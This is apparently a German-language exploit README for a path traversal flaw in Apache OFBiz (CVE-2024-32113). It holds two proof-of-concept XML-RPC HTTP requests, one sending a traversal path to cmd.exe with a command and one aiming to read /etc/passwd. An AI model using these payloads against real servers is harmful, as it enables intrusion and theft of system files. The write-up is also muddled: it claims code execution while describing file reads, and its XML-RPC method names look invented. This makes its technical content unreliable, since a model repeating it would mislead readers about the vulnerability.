Apache-OFBiz-Directory-Traversal-exploit

Eine als kritisch eingestufte Schwachstelle wurde in Apache OFBiz bis Version 18.12.12 gefunden. Betroffen von diesem Problem ist eine unbekannte Funktionalität. Die Manipulation mit einer unbekannten Eingabe führt zu einer Path-Traversal-Schwachstelle. Das Produkt verwendet externe Eingaben, um einen Pfadnamen zu erstellen, der eine Datei oder ein Verzeichnis identifizieren soll, das sich unterhalb eines eingeschränkten übergeordneten Verzeichnisses befindet, aber das Produkt neutralisiert spezielle Elemente innerhalb des Pfadnamens nicht ordnungsgemäß, was dazu führen kann, dass der Pfadname auf einen Speicherort außerhalb des eingeschränkten Verzeichnisses aufgelöst wird. Betroffen sind Vertraulichkeit, Integrität und Verfügbarkeit.

Einführung

• Die Sicherheitslücke CVE-2024-32113 ermöglicht die Ausführung beliebigen Codes auf einem Apache-OFBiz-Server, indem eine speziell gestaltete HTTP-Anfrage gesendet wird.
• Bei dieser Anfrage verwendet der Angreifer den Parameter ../../../../../../etc/passwd, um auf die Datei etc/passwd auf dem Apache-OFBiz-Server zu verweisen.
• Wenn der Apache-OFBiz-Server diese Anfrage verarbeitet, versucht er, die Datei etc/passwd zu lesen, die sensible Informationen über die Benutzer auf dem Server enthält.
• Diese Informationen können für weitere Angriffe auf den Server verwendet werden, etwa um Daten zu stehlen, zu verändern oder sogar zu löschen.

Poc

1-

POST /webtools/control/xmlrpc HTTP/1.1
Host: vulnerable-host.com
Content-Type: text/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>performCommand</methodName>
  <params>
    <param>
      <value><string>../../../../../../windows/system32/cmd.exe?/c+dir+c:\</string></value>
    </param>
  </params>
</methodCall>

ODER

2-

POST /webtools/control/xmlrpc HTTP/1.1
Host: vulnerable-host.com
Content-Type: text/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>example.createBlogPost</methodName>
  <params>
    <param>
      <value><string>../../../../../../etc/passwd</string></value>
    </param>
  </params>
</methodCall>